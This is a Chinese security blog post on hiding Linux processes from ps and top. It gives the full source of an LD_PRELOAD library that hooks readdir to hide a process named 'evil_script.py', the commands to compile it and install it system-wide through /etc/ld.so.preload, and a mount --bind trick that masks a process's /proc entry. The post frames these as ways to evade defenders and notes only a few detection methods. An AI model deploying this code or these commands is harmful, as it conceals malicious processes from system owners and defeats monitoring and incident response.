前言
上篇介绍了如何在有源码的情况下,通过 argv[] 及 prctl 对进程名及参数进行修改,整篇围绕/proc/pid/目录和 ps、top 命令进行分析,做到了初步隐藏,即修改了 /proc/pid/stat 、/proc/pid/status 、/proc/pid/cmdline 这些文件的信息,使得 ps、top 命令显示了虚假的进程信息;但是还存在一些**缺点**:
1.ps、top 命令还是显示了真实的 pid 2./proc/pid 目录依然存在,/proc/pid/exe 及/proc/pid/cwd 文件依然暴露了可执行文件的真实路径及名称
所以,为了解决以上缺陷,本篇将介绍以下几种方式对进程进行隐藏
1. 应用层下 hook 函数调用 2. 挂载覆盖/proc/pid 目录
PS/TOP 命令工作原理
我们可以使用 strace 命令来了解 PS/TOP 命令的工作原理,strace 命令是一个常用的代码调试工具,它可以跟踪到一个进程产生的系统调用, 包括参数,返回值,执行消耗的时间。
实验系统版本为 ubuntu18 内核版本 Linux ubuntu 5.3.0-28-generic
命令 strace ps 部分显示结果
stat("/proc/1", {st_mode=S_IFDIR|0555, st_size=0, ...}) = 0 openat(AT_FDCWD, "/proc/1/stat", O_RDONLY) = 6 read(6, "1 (systemd) S 0 1 1 0 -1 4194560"..., 1024) = 328 close(6) = 0 openat(AT_FDCWD, "/proc/1/status", O_RDONLY) = 6 read(6, "Name:\tsystemd\nUmask:\t0000\nState:"..., 1024) = 1024 read(6, "00000000,00000000,00000000,00000"..., 1024) = 311 close(6) = 0 stat("/proc/2", {st_mode=S_IFDIR|0555, st_size=0, ...}) = 0 openat(AT_FDCWD, "/proc/2/stat", O_RDONLY) = 6 read(6, "2 (kthreadd) S 0 0 0 0 -1 212998"..., 2048) = 150 close(6) = 0 openat(AT_FDCWD, "/proc/2/status", O_RDONLY) = 6 read(6, "Name:\tkthreadd\nUmask:\t0000\nState"..., 2048) = 978 close(6) = 0 stat("/proc/3", {st_mode=S_IFDIR|0555, st_size=0, ...}) = 0 openat(AT_FDCWD, "/proc/3/stat", O_RDONLY) = 6 read(6, "3 (rcu_gp) I 2 0 0 0 -1 69238880"..., 2048) = 151 close(6) = 0 openat(AT_FDCWD, "/proc/3/status", O_RDONLY) = 6 read(6, "Name:\trcu_gp\nUmask:\t0000\nState:\t"..., 2048) = 969 close(6) = 0
命令 strace top 部分显示结果
openat(AT_FDCWD, "/proc/11433/statm", O_RDONLY) = 9 read(9, "4679 473 371 263 0 127 0\n", 2048) = 25 close(9) = 0 openat(AT_FDCWD, "/proc/11433/status", O_RDONLY) = 9 read(9, "Name:\tstrace\nUmask:\t0022\nState:\t"..., 2048) = 1362 close(9) = 0 stat("/proc/11435", {st_mode=S_IFDIR|0555, st_size=0, ...}) = 0 openat(AT_FDCWD, "/proc/11435/stat", O_RDONLY) = 9 read(9, "11435 (top) R 11433 11433 3407 3"..., 2048) = 322 close(9) = 0 openat(AT_FDCWD, "/proc/11435/statm", O_RDONLY) = 9 read(9, "12866 1077 851 25 0 378 0\n", 2048) = 26 close(9)
从上面的结果我们可以看出,ps/top 命令就是在不断的读取/proc/pid 下的文件信息,再显示出来给我看;
一般先调用 stat() 确认文件状态,再调用 openat() 打开文件句柄,然后 read() 读取内容,最后 close() 关闭;不断重复这一系列动作从而获取进程信息;
当然这些都是系统调用,并不是 ps 源码中直接调用的,ps 源码直接调用的函数其实是opendir以及readdir,readdir 内部再进行以上这些系统调用。
top 命令的原理与 ps 类似,这里不多介绍,下面进入正题
一、应用层下 hook 函数调用实现隐藏
我们这里所要 hook 的对象当然就是readdir函数了
这里有两个问题:
1.readdir 函数在哪?
2. 如何 hook?
[readdir][https://pubs.opengroup.org/onlinepubs/9699919799/functions/readdir.html] 在头文件 dirent.h 中声明
头文件:#include <sys/types.h> #include <dirent.h> 定义:struct dirent * readdir(DIR * dir); 函数说明:readdir() 返回参数 dir 目录流的下个目录进入点。结构 dirent 定义如下: struct dirent { ino_t d_ino; //d_ino 此目录进入点的 inode ff_t d_off; //d_off 目录文件开头至此目录进入点的位移 signed short int d_reclen; //d_reclen _name 的长度, 不包含 NULL 字符 unsigned char d_type; //d_type d_name 所指的文件类型 d_name 文件名 har d_name[256]; }; 返回值:成功则返回下个目录进入点. 有错误发生或读取到目录文件尾则返回 NULL.
如何 hook?
我们这里使用的是 ld_preload 技术,关于此技术可以看我另一篇文章,这里不多介绍
接下来我们正式编写 hook 函数,先以伪代码进行介绍
#define _GNU_SOURCE #include <stdio.h> #include <dlfcn.h> #include <dirent.h> #include <string.h> #include <unistd.h> /* 这里声明一个函数指针,用来存储 readdir 函数原始调用 */ static struct dirent* (*original_readdir)(DIR*) = NULL; /* 这里是我们伪造的 readdir 函数,由于我们的 so 库最早被调用,所以 ps 程序调用 readdir 函数时也就调用了我们的同名函数*/ struct dirent* readdir(DIR *dirp) { /* 使用 dlsym 函数获取 readdir 真正的入口 */ if(original_readdir == NULL) original_readdir = dlsym(RTLD_NEXT, readdir); struct dirent* dir; /* 这里循环调用原始 readdir 函数 */ while(1) { dir = original_readdir(dirp); // 判断是否为特定的进程名 process_name = get_process_name(dir); if(process_name=="123456"){ //是,则继续循环,这样就相当于跳过了特定的进程,不打印信息 continue; } break; } return dir; }
整个流程非常简单,这里引用一段完整的代码:[github][https://github.com/gianlucaborello/libprocesshider]
修改 process_to_filter 变量为要隐藏的进程即可
#define _GNU_SOURCE #include <stdio.h> #include <dlfcn.h> #include <dirent.h> #include <string.h> #include <unistd.h> /* * Every process with this name will be excluded */ static const char* process_to_filter = "evil_script.py"; /* * Get a directory name given a DIR* handle */ static int get_dir_name(DIR* dirp, char* buf, size_t size) { int fd = dirfd(dirp); if(fd == -1) { return 0; } char tmp[64]; snprintf(tmp, sizeof(tmp), "/proc/self/fd/%d", fd); ssize_t ret = readlink(tmp, buf, size); if(ret == -1) { return 0; } buf[ret] = 0; return 1; } /* * Get a process name given its pid */ static int get_process_name(char* pid, char* buf) { if(strspn(pid, "0123456789") != strlen(pid)) { return 0; } char tmp[256]; snprintf(tmp, sizeof(tmp), "/proc/%s/stat", pid); FILE* f = fopen(tmp, "r"); if(f == NULL) { return 0; } if(fgets(tmp, sizeof(tmp), f) == NULL) { fclose(f); return 0; } fclose(f); int unused; sscanf(tmp, "%d (%[^)]s", &unused, buf); return 1; } #define DECLARE_READDIR(dirent, readdir) \ static struct dirent* (*original_##readdir)(DIR*) = NULL; \ \ struct dirent* readdir(DIR *dirp) \ { \ if(original_##readdir == NULL) { \ original_##readdir = dlsym(RTLD_NEXT, #readdir); \ if(original_##readdir == NULL) \ { \ fprintf(stderr, "Error in dlsym: %s\n", dlerror()); \ } \ } \ \ struct dirent* dir; \ \ while(1) \ { \ dir = original_##readdir(dirp); \ if(dir) { \ char dir_name[256]; \ char process_name[256]; \ if(get_dir_name(dirp, dir_name, sizeof(dir_name)) && \ strcmp(dir_name, "/proc") == 0 && \ get_process_name(dir->d_name, process_name) && \ strcmp(process_name, process_to_filter) == 0) { \ continue; \ } \ } \ break; \ } \ return dir; \ } DECLARE_READDIR(dirent64, readdir64); DECLARE_READDIR(dirent, readdir);
以上代码非常巧妙的运用了宏定义函数以及 # 号的用法,使得少了很多代码量,同时定义了 64 位版本的 readdir64 以及 readdir 函数。
编译成动态链接库测试
$ gcc -Wall -fPIC -shared -o libprocesshider.so processhider.c -ldl $ mv libprocesshider.so /usr/local/lib/ $ echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload
这样一来,ps top 命令就找不到进程的任何踪迹了!
优缺点
优点:相较于通过 argv[] 及 prctl 对进程名及参数进行修改,这种方法彻底隐藏了 ps、top 中进程的信息,看不到 pid
缺点:proc 目录下还是会存在我们进程的 pid 目录
二、挂载覆盖/proc/pid 目录
利用 mount—bind 将另外一个目录挂载覆盖至/proc/目录下指定进程 ID 的目录,我们知道 ps、top 等工具会读取/proc 目录下获取进程信息,如果将进程 ID 的目录信息覆盖,则原来的进程信息将从 ps 的输出结果中隐匿。
例如隐藏进程 id 为 42 的进程信息:
mount -o bind /empty/dir /proc/42
优缺点:
缺点比较明显
cat /proc/pid/mountinfo 或者 cat /proc/mounts 即可知道是否有利用 mount—bind 将其他目录或文件挂载至/proc 下的进程目录
三、总结
hook readdir 函数的方法的确可以完全隐藏掉 ps/top 下的进程信息,隐蔽性还是不够,如果结合 argv[] 及 prctl 一起使用,也还有明显的缺点:
1、存在 proc/pid 目录,防御方利用别的方法遍历一下 pid,与 ps 进行对比即可知道哪些是隐藏进程 2、/proc/pid/exe 以及 /proc/pid/cwd 文件依然暴露了可执行文件的真实路径及名称
Linux 进程隐藏-高级隐藏篇将会进一步介绍更加高级的进程隐藏技术——在内核中对进程进行彻底隐藏。
猜你还喜欢
- 08-04最全的webshell提权资料
- 09-16Linux后门整理合集
- 09-10实战Linux下三种不同方式的提权技巧
- 09-24Windows内网渗透提权的几个实用命令
- 08-03内网渗透:利用WMI代替psexec(WMIEXEC.vbs)
- 02-13ADB配置提权漏洞(CVE-2017-13212)原理与利用分析
- 11-16星外虚拟主机跨web目录文件读取技巧
- 06-05基于bro的计算机入侵取证实战分析
- 09-21渗透技巧——Windows单条日志的删除
- 08-03详解Filezilla提权
- 最新文章
- 随机文章
-
- 代码自动化扫描系统的建设(上)
- 渗透技巧——Windows单条日志的删除
- 技术讨论 | 如何对经前端加密后的数据进行爆破
- Windows任务计划程序被曝存在0day漏洞
- 伪造电子邮件以及制造电子邮件炸弹的攻防探讨
- RichFaces反序列化漏洞
- 中秋国庆的火车票,你抢到了吗?揭露黄牛背后那些事
- 美国投票系统早已千疮百孔,十分钟内竟被11岁少年攻破
- 学霸搞黑产惊动教育圈,涉案金额高达6个亿
- Linux应急响应(二):捕捉短连接
- 技术讨论 | 自动化Web渗透Payload提取技术
- 微软漏洞CVE-2017-11885分析与利用
- 浅谈PHP安全规范
- 前端安全系列(一):如何防止XSS攻击?
- DNS后门及其检测
- 安卓手机搭建渗透环境(无需Root)
- Struts2 漏洞exp从零分析
- 开启Wi-Fi就会泄漏身份信息,还有这种骚操作?
- Git Submodule 漏洞(CVE-2018-17456)分析
- 无字母数字Webshell之提高篇
- 热门文章
-
- 九年专业安全团队承接渗透入侵维护服务
- Stuxnet纪录片-零日 Zero.Days (2016)【中文字幕】
- Emlog黑客站模板“Milw0rm”发布
- SQLMAP的注入命令以及使用方法
- 白帽故事汇:网络安全战士从来不是「男生」的专利
- 编辑器漏洞手册
- web安全之如何全面发现系统后台
- 常见Web源码泄露总结
- 深入理解JAVA反序列化漏洞
- cmseasy前台无需登录直接获取敏感数据的SQL注入(有POC证明)
- 网站后台登陆万能密码
- 黑客怎样简单入侵别人手机,黑客是如何入侵手机的?
- 黑麒麟2016渗透培训系列教程
- 破解emlog收费模板“Begin”
- 那些强悍的PHP一句话后门
- Android平台渗透测试套件zANTI v2.5发布(含详细说明)
- 渗透工具BackTrack与KaliLinux全套视频教程
- Python列为黑客应该学的四种编程语言之一 初学者该怎么学
- CVE-2017-11882漏洞复现和利用
- 恶意程序报告在线查询工具
- 文章标签
-